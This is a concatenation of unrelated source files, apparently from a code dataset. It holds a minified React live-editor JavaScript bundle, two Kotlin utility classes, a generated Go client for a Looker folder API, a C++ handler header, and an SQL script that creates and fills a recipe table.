t=e.code,n=e.scope,a=e.transformCode,o=e.noInline,i=void 0!==o&&o,s={code:a?a(t):t,scope:n},l=function(e){return r.setState({element:void 0,error:e.toString()})},u=function(e){return r.setState(h({},c,{element:e}))},c={unsafeWrapperError:void 0,error:void 0};try{i?(r.setState(h({},c,{element:null})),R(s,u,l)):u(T(s,l))}catch(p){r.setState(h({},c,{error:p.toString()}))}},m(r,n)}return y(t,e),t.prototype.UNSAFE_componentWillMount=function(){var e=this.props,t=e.code,n=e.scope,r=e.transformCode,a=e.noInline;this.transpile({code:t,scope:n,transformCode:r,noInline:a})},t.prototype.componentDidUpdate=function(e){var t=e.code,n=e.scope,r=e.noInline,a=e.transformCode,o=this.props,i=o.code,s=o.scope,l=o.noInline,u=o.transformCode;i===t&&s===n&&l===r&&u===a||this.transpile({code:i,scope:s,transformCode:u,noInline:l})},t.prototype.render=function(){var e=this.props,t=e.children,n=e.code,r=e.language,o=e.theme,i=e.disabled;return a.a.createElement(E.Provider,{value:h({},this.state,{code:n,language:r,theme:o,disabled:i,onError:this.onError,onChange:this.onChange})},t)},t}(r.Component);function I(e){return a.a.createElement(E.Consumer,null,(function(t){var n=t.code,r=t.language,o=t.theme,i=t.disabled,s=t.onChange;return a.a.createElement(v,h({theme:o,code:n,language:r,disabled:i,onChange:s},e))}))}function x(e){return a.a.createElement(E.Consumer,null,(function(t){var n=t.error;return n?a.a.createElement("pre",e,n):null}))}function C(e){var t=e.Component,n=b(e,["Component"]);return a.a.createElement(t,n,a.a.createElement(E.Consumer,null,(function(e){var t=e.element;return t&&a.a.createElement(t,null)})))}O.defaultProps={code:"",noInline:!1,language:"jsx",disabled:!1},C.defaultProps={Component:"div"};var P=n("qKvR");t.default=function(e){var t=e.code;return Object(P.d)(O,{code:t},Object(P.d)(I,null),Object(P.d)(x,null),Object(P.d)(C,null))}},daqR:function(e,t,n){"use strict";var r=n("ZS3K"),a=n("1FMc").start,o=n("55sP")("trimStart"),i=o?function(){return a(this)}:"".trimStart;r({target:"String",proto:!0,forced:o},{trimStart:i,trimLeft:i})},dyZX:function(e,t){var n=e.exports="undefined"!=typeof window&&window.Math==Math?window:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")();"number"==typeof __g&&(__g=n)},eeVq:function(e,t){e.exports=function(e){try{return!!e()}catch(t){return!0}}},fMfZ:function(e,t,n){var r=n("m/aQ"),a=n("YTOV");e.exports=Object.setPrototypeOf||("__proto__"in{}?function(){var e,t=!1,n={};try{(e=Object.getOwnPropertyDescriptor(Object.prototype,"__proto__").set).call(n,[]),t=n instanceof Array}catch(o){}return function(n,o){return r(n),a(o),t?e.call(n,o):n.__proto__=o,n}}():void 0)},g3g5:function(e,t){var n=e.exports={version:"2.6.12"};"number"==typeof __e&&(__e=n)},hswa:function(e,t,n){var r=n("y3w9"),a=n("xpql"),o=n("apmT"),i=Object.defineProperty;t.f=n("nh4g")?Object.defineProperty:function(e,t,n){if(r(e),t=o(t,!0),r(n),a)try{return i(e,t,n)}catch(s){}if("get"in n||"set"in n)throw TypeError("Accessors not supported!");return"value"in n&&(e[t]=n.value),e}},"kVK+":function(e,t){t.read=function(e,t,n,r,a){var o,i,s=8*a-r-1,l=(1<<s)-1,u=l>>1,c=-7,p=n?a-1:0,f=n?-1:1,d=e[t+p];for(p+=f,o=d&(1<<-c)-1,d>>=-c,c+=s;c>0;o=256*o+e[t+p],p+=f,c-=8);for(i=o&(1<<-c)-1,o>>=-c,c+=r;c>0;i=256*i+e[t+p],p+=f,c-=8);if(0===o)o=1-u;else{if(o===l)return i?NaN:1/0*(d?-1:1);i+=Math.pow(2,r),o-=u}return(d?-1:1)*i*Math.pow(2,o-r)},t.write=function(e,t,n,r,a,o){var i,s,l,u=8*o-a-1,c=(1<<u)-1,p=c>>1,f=23===a?Math.pow(2,-24)-Math.pow(2,-77):0,d=r?0:o-1,g=r?1:-1,h=t<0||0===t&&1/t<0?1:0;for(t=Math.abs(t),isNaN(t)||t===1/0?(s=isNaN(t)?1:0,i=c):(i=Math.floor(Math.log(t)/Math.LN2),t*(l=Math.pow(2,-i))<1&&(i--,l*=2),(t+=i+p>=1?f/l:f*Math.pow(2,1-p))*l>=2&&(i++,l/=2),i+p>=c?(s=0,i=c):i+p>=1?(s=(t*l-1)*Math.pow(2,a),i+=p):(s=t*Math.pow(2,p-1)*Math.pow(2,a),i=0));a>=8;e[n+d]=255&s,d+=g,s/=256,a-=8);for(i=i<<a|s,u+=a;u>0;e[n+d]=255&i,d+=g,i/=256,u-=8);e[n+d-g]|=128*h}},m0Pp:function(e,t,n){var r=n("2OiF");e.exports=function(e,t,n){if(r(e),void 0===t)return e;switch(n){case 1:return function(n){return e.call(t,n)};case 2:return function(n,r){return e.call(t,n,r)};case 3:return function(n,r,a){return e.call(t,n,r,a)}}return function(){return e.apply(t,arguments)}}},"n/30":function(e,t,n){"use strict";var r=n("ZS3K"),a=n("1FMc").end,o=n("55sP")("trimEnd"),i=o?function(){return a(this)}:"".trimEnd;r({target:"String",proto:!0,forced:o},{trimEnd:i,trimRight:i})},ne8i:function(e,t,n){var r=n("RYi7"),a=Math.min;e.exports=function(e){return e>0?a(r(e),9007199254740991):0}},nh4g:function(e,t,n){e.exports=!n("eeVq")((function(){return 7!=Object.defineProperty({},"a",{get:function(){return 7}}).a}))},vAJC:function(e,t,n){var r=n("34EK"),a=n("17+C"),o=n("uFM1"),i=n("ctqb"),s=o("IE_PROTO"),l=Object.prototype;e.exports=i?Object.getPrototypeOf:function(e){return e=a(e),r(e,s)?e[s]:"function"==typeof e.constructor&&e instanceof e.constructor?e.constructor.prototype:e instanceof Object?l:null}},vhPU:function(e,t){e.exports=function(e){if(null==e)throw TypeError("Can't call method on "+e);return e}},w2a5:function(e,t,n){var r=n("aCFj"),a=n("ne8i"),o=n("d/Gc");e.exports=function(e){return function(t,n,i){var s,l=r(t),u=a(l.length),c=o(i,u);if(e&&n!=n){for(;u>c;)if((s=l[c++])!=s)return!0}else for(;u>c;c++)if((e||c in l)&&l[c]===n)return e||c||0;return!e&&-1}}},xpql:function(e,t,n){e.exports=!n("nh4g")&&!n("eeVq")((function(){return 7!=Object.defineProperty(n("Iw71")("div"),"a",{get:function(){return 7}}).a}))},y3w9:function(e,t,n){var r=n("0/R4");e.exports=function(e){if(!r(e))throw TypeError(e+" is not an object!");return e}},yjCN:function(e,t,n){var r=n("P1B3"),a=n("bmrq"),o=n("QD2z")("toStringTag"),i="Arguments"==a(function(){return arguments}());e.exports=r?a:function(e){var t,n,r;return void 0===e?"Undefined":null===e?"Null":"string"==typeof(n=function(e,t){try{return e[t]}catch(n){}}(t=Object(e),o))?n:i?a(t):"Object"==(r=a(t))&&"function"==typeof t.callee?"Arguments":r}},ylqs:function(e,t){var n=0,r=Math.random();e.exports=function(e){return"Symbol(".concat(void 0===e?"":e,")_",(++n+r).toString(36))}},zhAb:function(e,t,n){var r=n("aagx"),a=n("aCFj"),o=n("w2a5")(!1),i=n("YTvA")("IE_PROTO");e.exports=function(e,t){var n,s=a(e),l=0,u=[];for(n in s)n!=i&&r(s,n)&&u.push(n);for(;t.length>l;)r(s,n=t[l++])&&(~o(u,n)||u.push(n));return u}}}]);
//# sourceMappingURL=8-674202704808286dce63.js.map
| 37,698.666667 | 112,965 | 0.633197 |
1d2712f7127e072b65f6cd91f3378622d9d7b32e
| 582 |
kt
|
Kotlin
|
app/src/main/java/com/erezstudio/motionmonitor/util/BindingAdapter.kt
|
theazat/MotionMonitor
|
d28e12c498047491fb87de901dcb6d3e5dde6c8c
|
[
"Apache-2.0"
] | null | null | null |
app/src/main/java/com/erezstudio/motionmonitor/util/BindingAdapter.kt
|
theazat/MotionMonitor
|
d28e12c498047491fb87de901dcb6d3e5dde6c8c
|
[
"Apache-2.0"
] | null | null | null |
app/src/main/java/com/erezstudio/motionmonitor/util/BindingAdapter.kt
|
theazat/MotionMonitor
|
d28e12c498047491fb87de901dcb6d3e5dde6c8c
|
[
"Apache-2.0"
] | null | null | null |
package com.erezstudio.motionmonitor.util
import android.view.View
import androidx.databinding.BindingAdapter
@BindingAdapter("app:visible")
fun View?.visible(value: Any?) = this?.run {
visibility = when {
value is List<*> && value.isNotEmpty() -> View.VISIBLE
value is String && value.isNotBlank() -> View.VISIBLE
value is Boolean -> if (value) View.VISIBLE else View.GONE
value is Int && (value == View.VISIBLE || value == View.INVISIBLE || value == View.GONE) -> value
value != null -> View.VISIBLE
else -> View.GONE
}
}
| 34.235294 | 105 | 0.649485 |
12ce9bce03c06c93be649872d299877bed9f58cc
| 660 |
kt
|
Kotlin
|
src/main/kotlin/com/autonomousapps/internal/advice/filter/CompositeFilter.kt
|
vlsi/dependency-analysis-android-gradle-plugin
|
6bec23b271067f38befff9dccc1be5c3ff3baf3b
|
[
"Apache-2.0"
] | 720 |
2019-10-29T16:04:50.000Z
|
2022-03-31T14:45:45.000Z
|
src/main/kotlin/com/autonomousapps/internal/advice/filter/CompositeFilter.kt
|
vlsi/dependency-analysis-android-gradle-plugin
|
6bec23b271067f38befff9dccc1be5c3ff3baf3b
|
[
"Apache-2.0"
] | 406 |
2019-12-16T08:14:50.000Z
|
2022-03-31T20:58:25.000Z
|
src/main/kotlin/com/autonomousapps/internal/advice/filter/CompositeFilter.kt
|
vlsi/dependency-analysis-android-gradle-plugin
|
6bec23b271067f38befff9dccc1be5c3ff3baf3b
|
[
"Apache-2.0"
] | 56 |
2019-12-23T11:47:11.000Z
|
2022-03-31T06:10:30.000Z
|
package com.autonomousapps.internal.advice.filter
import com.autonomousapps.advice.HasDependency
import java.util.*
internal class CompositeFilter(
private val filters: Collection<DependencyFilter> = emptyList()
) : DependencyFilter {
fun copy(filter: DependencyFilter): CompositeFilter {
val filterSet = LinkedList<DependencyFilter>()
filterSet.addAll(filters)
filterSet.add(filter)
return CompositeFilter(filterSet)
}
// nb if list is empty, filters.all {} will return true, which is a good thing
override val predicate: (HasDependency) -> Boolean = { dependency ->
filters.all { it.predicate(dependency.dependency) }
}
}
| 30 | 80 | 0.75 |
ddd4dcdce9e7607e0c1c2caf3d8e1a3de2276e6b
| 18,211 |
go
|
Go
|
client/folder/folder_client.go
|
Foxtel-DnA/looker-go-sdk
|
09f9b81558af370c80d0ecb0e2ded465b13009b8
|
[
"MIT"
] | null | null | null |
client/folder/folder_client.go
|
Foxtel-DnA/looker-go-sdk
|
09f9b81558af370c80d0ecb0e2ded465b13009b8
|
[
"MIT"
] | null | null | null |
client/folder/folder_client.go
|
Foxtel-DnA/looker-go-sdk
|
09f9b81558af370c80d0ecb0e2ded465b13009b8
|
[
"MIT"
] | null | null | null |
// Code generated by go-swagger; DO NOT EDIT.
package folder
// This file was generated by the swagger tool.
// Editing this file might prove futile when you re-run the swagger generate command
import (
"fmt"
"github.com/go-openapi/runtime"
"github.com/go-openapi/strfmt"
)
// New creates a new folder API client.
func New(transport runtime.ClientTransport, formats strfmt.Registry) ClientService {
return &Client{transport: transport, formats: formats}
}
/*
Client for folder API
*/
type Client struct {
transport runtime.ClientTransport
formats strfmt.Registry
}
// ClientOption is the option for Client methods
type ClientOption func(*runtime.ClientOperation)
// ClientService is the interface for Client methods
type ClientService interface {
AllFolders(params *AllFoldersParams, opts ...ClientOption) (*AllFoldersOK, error)
CreateFolder(params *CreateFolderParams, opts ...ClientOption) (*CreateFolderOK, error)
DeleteFolder(params *DeleteFolderParams, opts ...ClientOption) (*DeleteFolderNoContent, error)
Folder(params *FolderParams, opts ...ClientOption) (*FolderOK, error)
FolderAncestors(params *FolderAncestorsParams, opts ...ClientOption) (*FolderAncestorsOK, error)
FolderChildren(params *FolderChildrenParams, opts ...ClientOption) (*FolderChildrenOK, error)
FolderChildrenSearch(params *FolderChildrenSearchParams, opts ...ClientOption) (*FolderChildrenSearchOK, error)
FolderDashboards(params *FolderDashboardsParams, opts ...ClientOption) (*FolderDashboardsOK, error)
FolderLooks(params *FolderLooksParams, opts ...ClientOption) (*FolderLooksOK, error)
FolderParent(params *FolderParentParams, opts ...ClientOption) (*FolderParentOK, error)
SearchFolders(params *SearchFoldersParams, opts ...ClientOption) (*SearchFoldersOK, error)
UpdateFolder(params *UpdateFolderParams, opts ...ClientOption) (*UpdateFolderOK, error)
SetTransport(transport runtime.ClientTransport)
}
/*
AllFolders gets all folders
### Get information about all folders.
In API 3.x, this will not return empty personal folders, unless they belong to the calling user.
In API 4.0+, all personal folders will be returned.
*/
func (a *Client) AllFolders(params *AllFoldersParams, opts ...ClientOption) (*AllFoldersOK, error) {
// TODO: Validate the params before sending
if params == nil {
params = NewAllFoldersParams()
}
op := &runtime.ClientOperation{
ID: "all_folders",
Method: "GET",
PathPattern: "/folders",
ProducesMediaTypes: []string{"application/json"},
ConsumesMediaTypes: []string{"application/json"},
Schemes: []string{"https"},
Params: params,
Reader: &AllFoldersReader{formats: a.formats},
Context: params.Context,
Client: params.HTTPClient,
}
for _, opt := range opts {
opt(op)
}
result, err := a.transport.Submit(op)
if err != nil {
return nil, err
}
success, ok := result.(*AllFoldersOK)
if ok {
return success, nil
}
// unexpected success response
// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue
msg := fmt.Sprintf("unexpected success response for all_folders: API contract not enforced by server. Client expected to get an error, but got: %T", result)
panic(msg)
}
/*
CreateFolder creates folder
### Create a folder with specified information.
Caller must have permission to edit the parent folder and to create folders, otherwise the request
returns 404 Not Found.
*/
func (a *Client) CreateFolder(params *CreateFolderParams, opts ...ClientOption) (*CreateFolderOK, error) {
// TODO: Validate the params before sending
if params == nil {
params = NewCreateFolderParams()
}
op := &runtime.ClientOperation{
ID: "create_folder",
Method: "POST",
PathPattern: "/folders",
ProducesMediaTypes: []string{"application/json"},
ConsumesMediaTypes: []string{"application/json"},
Schemes: []string{"https"},
Params: params,
Reader: &CreateFolderReader{formats: a.formats},
Context: params.Context,
Client: params.HTTPClient,
}
for _, opt := range opts {
opt(op)
}
result, err := a.transport.Submit(op)
if err != nil {
return nil, err
}
success, ok := result.(*CreateFolderOK)
if ok {
return success, nil
}
// unexpected success response
// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue
msg := fmt.Sprintf("unexpected success response for create_folder: API contract not enforced by server. Client expected to get an error, but got: %T", result)
panic(msg)
}
/*
DeleteFolder deletes folder
### Delete the folder with a specific id including any children folders.
**DANGER** this will delete all looks and dashboards in the folder.
*/
func (a *Client) DeleteFolder(params *DeleteFolderParams, opts ...ClientOption) (*DeleteFolderNoContent, error) {
// TODO: Validate the params before sending
if params == nil {
params = NewDeleteFolderParams()
}
op := &runtime.ClientOperation{
ID: "delete_folder",
Method: "DELETE",
PathPattern: "/folders/{folder_id}",
ProducesMediaTypes: []string{"application/json"},
ConsumesMediaTypes: []string{"application/json"},
Schemes: []string{"https"},
Params: params,
Reader: &DeleteFolderReader{formats: a.formats},
Context: params.Context,
Client: params.HTTPClient,
}
for _, opt := range opts {
opt(op)
}
result, err := a.transport.Submit(op)
if err != nil {
return nil, err
}
success, ok := result.(*DeleteFolderNoContent)
if ok {
return success, nil
}
// unexpected success response
// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue
msg := fmt.Sprintf("unexpected success response for delete_folder: API contract not enforced by server. Client expected to get an error, but got: %T", result)
panic(msg)
}
/*
Folder gets folder
### Get information about the folder with a specific id.
*/
func (a *Client) Folder(params *FolderParams, opts ...ClientOption) (*FolderOK, error) {
// TODO: Validate the params before sending
if params == nil {
params = NewFolderParams()
}
op := &runtime.ClientOperation{
ID: "folder",
Method: "GET",
PathPattern: "/folders/{folder_id}",
ProducesMediaTypes: []string{"application/json"},
ConsumesMediaTypes: []string{"application/json"},
Schemes: []string{"https"},
Params: params,
Reader: &FolderReader{formats: a.formats},
Context: params.Context,
Client: params.HTTPClient,
}
for _, opt := range opts {
opt(op)
}
result, err := a.transport.Submit(op)
if err != nil {
return nil, err
}
success, ok := result.(*FolderOK)
if ok {
return success, nil
}
// unexpected success response
// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue
msg := fmt.Sprintf("unexpected success response for folder: API contract not enforced by server. Client expected to get an error, but got: %T", result)
panic(msg)
}
/*
FolderAncestors gets folder ancestors
### Get the ancestors of a folder
*/
func (a *Client) FolderAncestors(params *FolderAncestorsParams, opts ...ClientOption) (*FolderAncestorsOK, error) {
// TODO: Validate the params before sending
if params == nil {
params = NewFolderAncestorsParams()
}
op := &runtime.ClientOperation{
ID: "folder_ancestors",
Method: "GET",
PathPattern: "/folders/{folder_id}/ancestors",
ProducesMediaTypes: []string{"application/json"},
ConsumesMediaTypes: []string{"application/json"},
Schemes: []string{"https"},
Params: params,
Reader: &FolderAncestorsReader{formats: a.formats},
Context: params.Context,
Client: params.HTTPClient,
}
for _, opt := range opts {
opt(op)
}
result, err := a.transport.Submit(op)
if err != nil {
return nil, err
}
success, ok := result.(*FolderAncestorsOK)
if ok {
return success, nil
}
// unexpected success response
// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue
msg := fmt.Sprintf("unexpected success response for folder_ancestors: API contract not enforced by server. Client expected to get an error, but got: %T", result)
panic(msg)
}
/*
FolderChildren gets folder children
### Get the children of a folder.
*/
func (a *Client) FolderChildren(params *FolderChildrenParams, opts ...ClientOption) (*FolderChildrenOK, error) {
// TODO: Validate the params before sending
if params == nil {
params = NewFolderChildrenParams()
}
op := &runtime.ClientOperation{
ID: "folder_children",
Method: "GET",
PathPattern: "/folders/{folder_id}/children",
ProducesMediaTypes: []string{"application/json"},
ConsumesMediaTypes: []string{"application/json"},
Schemes: []string{"https"},
Params: params,
Reader: &FolderChildrenReader{formats: a.formats},
Context: params.Context,
Client: params.HTTPClient,
}
for _, opt := range opts {
opt(op)
}
result, err := a.transport.Submit(op)
if err != nil {
return nil, err
}
success, ok := result.(*FolderChildrenOK)
if ok {
return success, nil
}
// unexpected success response
// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue
msg := fmt.Sprintf("unexpected success response for folder_children: API contract not enforced by server. Client expected to get an error, but got: %T", result)
panic(msg)
}
/*
FolderChildrenSearch searches folder children
### Search the children of a folder
*/
func (a *Client) FolderChildrenSearch(params *FolderChildrenSearchParams, opts ...ClientOption) (*FolderChildrenSearchOK, error) {
// TODO: Validate the params before sending
if params == nil {
params = NewFolderChildrenSearchParams()
}
op := &runtime.ClientOperation{
ID: "folder_children_search",
Method: "GET",
PathPattern: "/folders/{folder_id}/children/search",
ProducesMediaTypes: []string{"application/json"},
ConsumesMediaTypes: []string{"application/json"},
Schemes: []string{"https"},
Params: params,
Reader: &FolderChildrenSearchReader{formats: a.formats},
Context: params.Context,
Client: params.HTTPClient,
}
for _, opt := range opts {
opt(op)
}
result, err := a.transport.Submit(op)
if err != nil {
return nil, err
}
success, ok := result.(*FolderChildrenSearchOK)
if ok {
return success, nil
}
// unexpected success response
// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue
msg := fmt.Sprintf("unexpected success response for folder_children_search: API contract not enforced by server. Client expected to get an error, but got: %T", result)
panic(msg)
}
/*
FolderDashboards gets folder dashboards
### Get the dashboards in a folder
*/
func (a *Client) FolderDashboards(params *FolderDashboardsParams, opts ...ClientOption) (*FolderDashboardsOK, error) {
// TODO: Validate the params before sending
if params == nil {
params = NewFolderDashboardsParams()
}
op := &runtime.ClientOperation{
ID: "folder_dashboards",
Method: "GET",
PathPattern: "/folders/{folder_id}/dashboards",
ProducesMediaTypes: []string{"application/json"},
ConsumesMediaTypes: []string{"application/json"},
Schemes: []string{"https"},
Params: params,
Reader: &FolderDashboardsReader{formats: a.formats},
Context: params.Context,
Client: params.HTTPClient,
}
for _, opt := range opts {
opt(op)
}
result, err := a.transport.Submit(op)
if err != nil {
return nil, err
}
success, ok := result.(*FolderDashboardsOK)
if ok {
return success, nil
}
// unexpected success response
// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue
msg := fmt.Sprintf("unexpected success response for folder_dashboards: API contract not enforced by server. Client expected to get an error, but got: %T", result)
panic(msg)
}
/*
FolderLooks gets folder looks
### Get all looks in a folder.
In API 3.x, this will return all looks in a folder, including looks in the trash.
In API 4.0+, all looks in a folder will be returned, excluding looks in the trash.
*/
func (a *Client) FolderLooks(params *FolderLooksParams, opts ...ClientOption) (*FolderLooksOK, error) {
// TODO: Validate the params before sending
if params == nil {
params = NewFolderLooksParams()
}
op := &runtime.ClientOperation{
ID: "folder_looks",
Method: "GET",
PathPattern: "/folders/{folder_id}/looks",
ProducesMediaTypes: []string{"application/json"},
ConsumesMediaTypes: []string{"application/json"},
Schemes: []string{"https"},
Params: params,
Reader: &FolderLooksReader{formats: a.formats},
Context: params.Context,
Client: params.HTTPClient,
}
for _, opt := range opts {
opt(op)
}
result, err := a.transport.Submit(op)
if err != nil {
return nil, err
}
success, ok := result.(*FolderLooksOK)
if ok {
return success, nil
}
// unexpected success response
// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue
msg := fmt.Sprintf("unexpected success response for folder_looks: API contract not enforced by server. Client expected to get an error, but got: %T", result)
panic(msg)
}
/*
FolderParent gets folder parent
### Get the parent of a folder
*/
func (a *Client) FolderParent(params *FolderParentParams, opts ...ClientOption) (*FolderParentOK, error) {
// TODO: Validate the params before sending
if params == nil {
params = NewFolderParentParams()
}
op := &runtime.ClientOperation{
ID: "folder_parent",
Method: "GET",
PathPattern: "/folders/{folder_id}/parent",
ProducesMediaTypes: []string{"application/json"},
ConsumesMediaTypes: []string{"application/json"},
Schemes: []string{"https"},
Params: params,
Reader: &FolderParentReader{formats: a.formats},
Context: params.Context,
Client: params.HTTPClient,
}
for _, opt := range opts {
opt(op)
}
result, err := a.transport.Submit(op)
if err != nil {
return nil, err
}
success, ok := result.(*FolderParentOK)
if ok {
return success, nil
}
// unexpected success response
// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue
msg := fmt.Sprintf("unexpected success response for folder_parent: API contract not enforced by server. Client expected to get an error, but got: %T", result)
panic(msg)
}
/*
SearchFolders searches folders
Search for folders by creator id, parent id, name, etc
*/
func (a *Client) SearchFolders(params *SearchFoldersParams, opts ...ClientOption) (*SearchFoldersOK, error) {
// TODO: Validate the params before sending
if params == nil {
params = NewSearchFoldersParams()
}
op := &runtime.ClientOperation{
ID: "search_folders",
Method: "GET",
PathPattern: "/folders/search",
ProducesMediaTypes: []string{"application/json"},
ConsumesMediaTypes: []string{"application/json"},
Schemes: []string{"https"},
Params: params,
Reader: &SearchFoldersReader{formats: a.formats},
Context: params.Context,
Client: params.HTTPClient,
}
for _, opt := range opts {
opt(op)
}
result, err := a.transport.Submit(op)
if err != nil {
return nil, err
}
success, ok := result.(*SearchFoldersOK)
if ok {
return success, nil
}
// unexpected success response
// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue
msg := fmt.Sprintf("unexpected success response for search_folders: API contract not enforced by server. Client expected to get an error, but got: %T", result)
panic(msg)
}
/*
UpdateFolder updates folder
### Update the folder with a specific id.
*/
func (a *Client) UpdateFolder(params *UpdateFolderParams, opts ...ClientOption) (*UpdateFolderOK, error) {
// TODO: Validate the params before sending
if params == nil {
params = NewUpdateFolderParams()
}
op := &runtime.ClientOperation{
ID: "update_folder",
Method: "PATCH",
PathPattern: "/folders/{folder_id}",
ProducesMediaTypes: []string{"application/json"},
ConsumesMediaTypes: []string{"application/json"},
Schemes: []string{"https"},
Params: params,
Reader: &UpdateFolderReader{formats: a.formats},
Context: params.Context,
Client: params.HTTPClient,
}
for _, opt := range opts {
opt(op)
}
result, err := a.transport.Submit(op)
if err != nil {
return nil, err
}
success, ok := result.(*UpdateFolderOK)
if ok {
return success, nil
}
// unexpected success response
// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue
msg := fmt.Sprintf("unexpected success response for update_folder: API contract not enforced by server. Client expected to get an error, but got: %T", result)
panic(msg)
}
// SetTransport changes the transport on the client
func (a *Client) SetTransport(transport runtime.ClientTransport) {
a.transport = transport
}
| 32.636201 | 168 | 0.679205 |
124d1c78047be5724b44f3029fd4a3ffd90dec7f
| 874 |
h
|
C
|
SDK/g100IO/MyHandler.h
|
mariusl/step2mach
|
3ac7ff6c3b29a25f4520e4325e7922f2d34c547a
|
[
"MIT"
] | 6 |
2019-05-22T03:18:38.000Z
|
2022-02-07T20:54:38.000Z
|
SDK/g100IO/MyHandler.h
|
mariusl/step2mach
|
3ac7ff6c3b29a25f4520e4325e7922f2d34c547a
|
[
"MIT"
] | 1 |
2019-11-10T05:57:09.000Z
|
2020-07-01T05:50:49.000Z
|
SDK/g100IO/MyHandler.h
|
mariusl/step2mach
|
3ac7ff6c3b29a25f4520e4325e7922f2d34c547a
|
[
"MIT"
] | 9 |
2019-05-20T06:03:55.000Z
|
2022-02-01T10:16:41.000Z
|
#pragma once
class MyHandler : public G100Handler {
public:
virtual int onHalt(
unsigned qid,
void * qdata,
G100Part * gp,
unsigned halt_bit,
unsigned halt_value
);
virtual void onAck(
unsigned qid,
void * qdata,
G100Part * gp
);
virtual void onComplete(
unsigned qid,
void * qdata,
G100Part * gp
);
virtual void onEndOfQueue(
unsigned qid,
void * qdata,
G100Part * gp
);
virtual void onDiscarded(
unsigned qid,
void * qdata,
G100Part * gp
);
virtual void onDisconnect(
unsigned qid,
void * qdata,
G100Part * gp,
int reason
);
virtual void onConnect(
G100Part * gp
);
virtual void onMsg(
G100Part * gp,
unsigned len,
const char * msg
);
virtual void onDebug(
const char * str
);
virtual void onHomed(
unsigned qid,
void * qdata,
G100Part * gp
);
};
| 11.810811 | 38 | 0.627002 |
d2ab1bf10bdc4a2cd755324b09d05997aa23ab02
| 10,848 |
sql
|
SQL
|
RecipesDB.sql
|
jinwoo7/Recipes
|
941f2ae8d2ab134c9ae80a4787ff6dc4bb53ef0c
|
[
"Xnet",
"X11"
] | null | null | null |
RecipesDB.sql
|
jinwoo7/Recipes
|
941f2ae8d2ab134c9ae80a4787ff6dc4bb53ef0c
|
[
"Xnet",
"X11"
] | null | null | null |
RecipesDB.sql
|
jinwoo7/Recipes
|
941f2ae8d2ab134c9ae80a4787ff6dc4bb53ef0c
|
[
"Xnet",
"X11"
] | null | null | null |
# ---------------------------------------------------------------------------------------------------------------------
# SQL Script to Create and Populate the Recipe Table in the Recipes Database (RecipesDB)
# Created by Osman Balci
# ---------------------------------------------------------------------------------------------------------------------
DROP TABLE IF EXISTS Recipe;
/* The Recipe table contains attributes of interest of a recipe. */
CREATE TABLE Recipe
(
id INT UNSIGNED NOT NULL AUTO_INCREMENT,
title VARCHAR(255) NOT NULL,
image_url VARCHAR(255) NOT NULL,
source_name VARCHAR(128) NOT NULL,
source_url VARCHAR(255) NOT NULL,
PRIMARY KEY (id)
);
/*
If a value in INSERT INTO has a single quote, the entire value must be enclosed under plain double quotes.
For example, 'Rick's Mango' must be changed to "Rick's Mango".
Make sure that it is straight plain " and not a curly quote “.
*/
INSERT INTO Recipe (title, image_url, source_name, source_url) VALUES
('Cool Pineapple And Kiwi Dessert', 'https://www.edamam.com/web-img/ef5/ef58e9ba1ba3021bf871e7faf933370d.jpg', 'Food and Wine', 'http://www.foodandwine.com/recipes/cool-pineapple-and-kiwi-dessert'),
('Garlic Beef', 'https://www.edamam.com/web-img/c22/c2267aabe6cc5dfac892c2549c441d99.jpg', 'BBC Good Food', 'http://www.bbcgoodfood.com/recipes/5535/garlic-beef'),
('Kale, Apple and Pancetta Salad', 'https://www.edamam.com/web-img/607/60791786bb0cf1de65f8d0398be9969c.jpg', 'Serious Eats', 'http://www.seriouseats.com/recipes/2012/02/serious-salads-kale-apple-and-pancetta-salad.html'),
('Fish With Peas & Lettuce', 'https://www.edamam.com/web-img/31f/31f84211721b4c6bcf2d4d3556c28d88.jpg', 'BBC Good Food', 'http://www.bbcgoodfood.com/recipes/2906/fish-with-peas-and-lettuce'),
('Mediterranean Lasagna', 'https://www.edamam.com/web-img/519/519ae7630b70f95f5d06fc5a17a05b44.jpg', 'Cookstr', 'http://www.cookstr.com/Italian-Recipes/Mediterranean-Lasagna'),
('Dessert Wine Gelees with Citrus Fruit', 'https://www.edamam.com/web-img/27e/27eb2938078d74cf8abc3d164c0a3767.jpg', 'Martha Stewart', 'http://www.marthastewart.com/333079/dessert-wine-gelees-with-citrus-fruit'),
('Lasagna', 'https://www.edamam.com/web-img/eb0/eb023dfa0939aa0679c10f345aeda577.jpg', 'Martha Stewart', 'http://www.marthastewart.com/343399/lasagna'),
("The Nasty Bits: Pig's Ear Pizza", 'https://www.edamam.com/web-img/fae/fae7ac099c3da3ef9fa4d8bbeb448e9e.jpg', 'Serious Eats', 'http://www.seriouseats.com/recipes/2010/07/the-nasty-bits-pigs-ear-pizza-recipe.html'),
('Grilled Lamb Kebab Salad with Cucumber, Tomatoes and Pita', 'https://www.edamam.com/web-img/53f/53f8106f503de9742b9bd621ba923ddf.jpg', 'Fine Cooking', 'http://www.finecooking.com/recipes/grilled-lamb-kebab-salad-cucumber-tomatoes-pita.aspx'),
('Herbes de Provence Rotisserie Chickens', 'https://www.edamam.com/web-img/18d/18dcf05995cb40e8ce4c077972341d7a.jpg', 'Bon Appetit', 'http://www.bonappetit.com/recipe/herbes-de-provence-rotisserie-chickens'),
("Rick's Mango, Jicama, and Cucumber Salads", 'https://www.edamam.com/web-img/3fe/3fe43c052f0425849211ce583ffbd77e.jpg', 'Martha Stewart', 'http://www.marthastewart.com/318354/ricks-mango-jicama-and-cucumber-salads'),
('Mustard-Crusted Roast Chickens', 'https://www.edamam.com/web-img/e5e/e5e970a474f571622f5f2eb233a801b0.jpg', 'Fine Cooking', 'http://www.finecooking.com/recipes/mustard-crusted-roast-chickens.aspx'),
